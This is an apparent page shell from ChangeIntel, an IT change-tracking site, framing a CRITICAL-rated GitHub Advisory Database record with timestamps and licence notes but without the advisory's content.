13 Aug 2026 04:11:10 UTC
Saved here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

Publisher rating · CRITICAL

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 19 Nov 09:03 UTC · 273 of 275 readable · 269 fully read · documentation 469/469 current